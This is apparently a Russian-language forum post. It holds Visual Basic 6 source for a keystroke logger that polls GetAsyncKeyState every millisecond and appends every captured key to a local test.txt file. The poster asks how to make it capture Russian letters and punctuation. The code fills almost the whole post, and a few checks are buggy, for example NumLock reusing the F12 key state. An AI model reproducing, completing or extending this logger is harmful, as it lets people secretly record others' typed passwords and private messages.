- Код: Выделить всё
Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Const VK_CAPITAL = &H1
Private Sub Form_Load()
Form1.Visible = True
Text1.Text = "Контроль за системой активирован в: " + Time$ + " " + Date$ + "." + vbNewLine
Timer1.Interval = 1
Text1.MultiLine = True
End Sub
Private Sub Timer1_Timer()
keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Tab]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Влево]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyRight)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Вправо]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Вверх]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Вниз]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyInsert)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Insert]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Delete]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[End]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Home]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F1]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F2]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F3]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F4]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F5]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F6]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF7)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F7]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF8)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F8]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F9]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F10]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F11]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "[F12]" + vbNewLine
End If
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[NumLock]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[ScrollLock]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[PrintScreen]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[PageUp]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Pagedown]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad1]"
End If
keystate = Getasynckeystate(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad2]"
End If
keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad3]"
End If
keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad4]"
End If
keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad5]"
End If
keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad6]"
End If
keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad7]"
End If
keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad8]"
End If
keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad9]"
End If
keystate = Getasynckeystate(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Numpad0]"
End If
keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Esc]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[NumLock]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Backspace]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Pause]" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyShift)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "[Shift]"
End If
keystate = Getasynckeystate(vbKeyQ)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "q"
End If
keystate = Getasynckeystate(vbKeyW)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "w"
End If
keystate = Getasynckeystate(vbKeyE)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "e"
End If
keystate = Getasynckeystate(vbKeyR)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "r"
End If
keystate = Getasynckeystate(vbKeyT)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "t"
End If
keystate = Getasynckeystate(vbKeyY)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "y"
End If
keystate = Getasynckeystate(vbKeyU)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "u"
End If
keystate = Getasynckeystate(vbKeyI)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "i"
End If
keystate = Getasynckeystate(vbKeyO)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "o"
End If
keystate = Getasynckeystate(vbKeyP)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "p"
End If
keystate = Getasynckeystate(vbKeyA)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "a"
End If
keystate = Getasynckeystate(vbKeyS)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "s"
End If
keystate = Getasynckeystate(vbKeyD)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "d"
End If
keystate = Getasynckeystate(vbKeyF)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "f"
End If
keystate = Getasynckeystate(vbKeyG)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "g"
End If
keystate = Getasynckeystate(vbKeyH)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "h"
End If
keystate = Getasynckeystate(vbKeyJ)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "j"
End If
keystate = Getasynckeystate(vbKeyK)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "k"
End If
keystate = Getasynckeystate(vbKeyL)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "l"
End If
keystate = Getasynckeystate(vbKeyZ)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "z"
End If
keystate = Getasynckeystate(vbKeyX)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "x"
End If
keystate = Getasynckeystate(vbKeyC)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "c"
End If
keystate = Getasynckeystate(vbKeyV)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "v"
End If
keystate = Getasynckeystate(vbKeyB)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "b"
End If
keystate = Getasynckeystate(vbKeyN)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "n"
End If
keystate = Getasynckeystate(vbKeyM)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "m"
End If
H1 = FreeFile
If Text1.Text = "" Then
Form1.Caption = Form1.Caption
Else
Open App.Path & "\test.txt" For Append As #H1
Print #H1, Text1.Text
Close #H1
End If
Text1.Text = ""
End Sub
Как зделать отображение русских букв и таких символов как ><:;@# и т.д.
На форме стоит один Text1 и Timer1
Помогите кто знает!